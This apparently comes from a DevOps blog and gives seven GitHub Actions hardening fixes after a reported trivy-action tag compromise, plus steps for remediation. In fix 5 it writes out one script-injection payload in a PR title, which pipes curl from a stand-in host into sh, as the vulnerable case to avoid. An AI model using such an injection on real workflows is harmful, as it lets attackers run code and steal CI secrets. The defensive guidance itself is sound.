# GitHub Actions Security: 7 Fixes After the Trivy Compromise

URL: https://www.devopsness.com/blog/github-actions-security-hardening
Author: Kiril Urbonas
Published: 2026-10-28
Updated: 2026-10-28
Categories: DevOps
Tags: CI/CD, Security, GitHub Actions, Supply Chain, DevSecOps

Summary: In March 2026 an attacker force-pushed 76 trivy-action tags to an infostealer that read secrets straight out of runner memory. Seven fixes that would have contained it, in the order we'd apply them.

---
# GitHub Actions Security: 7 Fixes After the Trivy Compromise

If your workflows reference actions by tag, such as `uses: some/action@v2`, you trust that nobody will move that tag. On March 19, 2026, an attacker with stolen credentials force-pushed 76 of 77 `aquasecurity/trivy-action` tags to a credential stealer (CVE-2026-33634). For about twelve hours, any workflow running `trivy-action@<tag>` ran the attacker's code.

The payload dumped the `Runner.Worker` process memory to extract secrets and swept more than 50 filesystem paths for SSH keys, cloud credentials, Kubernetes tokens and `.env` files. Images referenced by digest and actions pinned by commit SHA were not affected.

Here are the seven fixes, in the order we'd apply them.

| Fix | Stops | Effort |
|---|---|---|
| 1. Pin actions to full commit SHAs | Moved or force-pushed tags | Low, with Dependabot |
| 2. Read-only `GITHUB_TOKEN` by default | Malicious code pushing to your repo | Low |
| 3. OIDC instead of stored cloud keys | Long-lived credentials being stolen | Medium |
| 4. No `pull_request_target` with checked-out PR code | Fork PRs running with your secrets | Low |
| 5. Untrusted input through `env:`, never inline | Script injection from PR titles and branch names | Low |
| 6. Workflow dependency lockfile | Transitive and repository-swap attacks | Medium |
| 7. Allow-list actions at the organization level | Unreviewed third-party actions | Low |

## 1. Pin every action to a full commit SHA

A tag is a pointer anyone with write access can move. A 40-character commit SHA can't be changed. GitHub's own hardening guide says to pin actions to a full-length commit SHA, and Dependabot can still keep pinned actions current, updating the version comment when it sits on the same line.

```yaml
# .github/workflows/scan.yml
permissions:
  contents: read

jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955 # v4.3.0
      - uses: aquasecurity/trivy-action@57a97c7e7821a5776cebc9bb87c984fa69cba8f1 # v0.35.0
        with:
          scan-type: fs
```

Look up each SHA from the action's own repository, not a fork, and verify it matches the release you intend. One trade-off: Dependabot doesn't raise vulnerability alerts for SHA-pinned actions, so subscribe to advisories for the actions you depend on.

## 2. Make GITHUB_TOKEN read-only by default

Set `permissions: contents: read` at the top of every workflow, or change the repository default to read-only, and grant `write` per job only where needed. A compromised step can then read your code but not push commits, publish packages or approve pull requests.

## 3. Replace stored cloud keys with OIDC

The trivy payload went looking for cloud credentials. A workflow that authenticates through OpenID Connect has no long-lived key to steal: it exchanges a short-lived token for temporary credentials scoped to one role. Restrict the role's trust policy to your repository and branch, so a token from another repository or a fork can't assume it.

## 4. Treat pull_request_target as dangerous

`pull_request_target` runs in the context of the base repository, with its secrets and a write token. Combined with checking out the pull request's code, it lets anyone with a fork run code with your secrets. Snyk's analysis traces the trivy credentials back to an earlier compromise that began with exactly this kind of `pull_request_target` workflow. If you need privileged follow-up work for pull requests, split it into a `workflow_run` workflow that never checks out untrusted code.

## 5. Pass untrusted input through environment variables

PR titles, branch names and issue bodies are attacker-controlled. Interpolating them into a `run:` script with `${{ }}` turns them into shell code.

```yaml
# Vulnerable: a PR titled  a"; curl evil.sh | sh; "  runs that command
- run: echo "Title: ${{ github.event.pull_request.title }}"

# Safe: the value arrives as data, not code
- env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: echo "Title: $PR_TITLE"
```

## 6 and 7. Lock dependencies and allow-list actions

GitHub now documents a workflow dependency lockfile, `.github/workflows/actions.lock`, generated by the `gh actions-lock` CLI extension. It records the exact commit for every action, including transitive ones, and verifies the source repository's identity at run time. GitHub calls it the strongest protection available, superseding SHA pinning for repositories that adopt it. Pair it with an organization policy that allows only actions you've reviewed, so a new third-party action needs a deliberate decision. For the package side of the same problem, see our [npm supply chain CI hardening](/blog/npm-supply-chain-ci-hardening) guide.

## If you ran an affected version

The advisory's guidance is blunt: treat every secret those pipelines could reach as exposed and rotate it. Check runs from March 19-20, 2026, remove any Trivy v0.69.4, v0.69.5 or v0.69.6 artifacts, and search your organization for repositories named `tpcp-docs`, which the malware created as a fallback exfiltration channel.

## Questions people ask

### Should I pin GitHub Actions to a SHA or a version tag?

Pin to a full commit SHA and keep the version as a comment on the same line. Tags can be moved, which is how the March 2026 trivy-action compromise reached workflows that never changed a line (Snyk estimates more than 10,000 workflow files referenced the action), while a SHA can't. Dependabot can still update SHA-pinned actions, so pinning doesn't mean falling behind.

### Was my workflow affected by the trivy-action compromise?

If a workflow ran `aquasecurity/trivy-action` by a version tag between about 17:43 UTC on March 19 and 05:40 UTC on March 20, 2026, assume it was, and rotate every secret it could read. Workflows pinned to a commit SHA, and images referenced by digest, were not affected.

### What permissions should GITHUB_TOKEN have?

Read-only by default: `contents: read` at the workflow level, with write scopes granted per job only where a step genuinely needs them, such as `packages: write` for publishing an image. This limits what a compromised action can do with the token.

## The decision, concretely

- **Public repository accepting fork PRs?** Fixes 1, 2, 4 and 5 today, before anything else.
- **Workflows deploying to a cloud account?** Add OIDC; stored access keys are the prize attackers look for.
- **Many repositories in an organization?** Set read-only token defaults and an action allow-list once, at the organization level.
- **Ready for the strongest option?** Adopt the workflow dependency lockfile and let it replace manual SHA pinning.

## The call we'd make

Spend one afternoon pinning SHAs, setting read-only tokens and removing `pull_request_target` from anything that checks out PR code. Those three changes would have contained the trivy compromise for most teams. Then schedule OIDC and the lockfile, because the next incident will target whatever secrets your CI still holds.

## Sources

- [GitHub Advisory GHSA-69fq-xp46-6x23 (CVE-2026-33634): Trivy ecosystem supply chain compromise](https://github.com/advisories/GHSA-69fq-xp46-6x23)
- [GitHub Docs: Secure use reference for GitHub Actions](https://docs.github.com/en/actions/reference/security/secure-use)
- [GitHub Docs: Workflow dependency lockfiles](https://docs.github.com/en/actions/concepts/security/workflow-dependency-lockfiles)
- [Snyk: Trivy GitHub Actions supply chain compromise](https://snyk.io/articles/trivy-github-actions-supply-chain-compromise/)

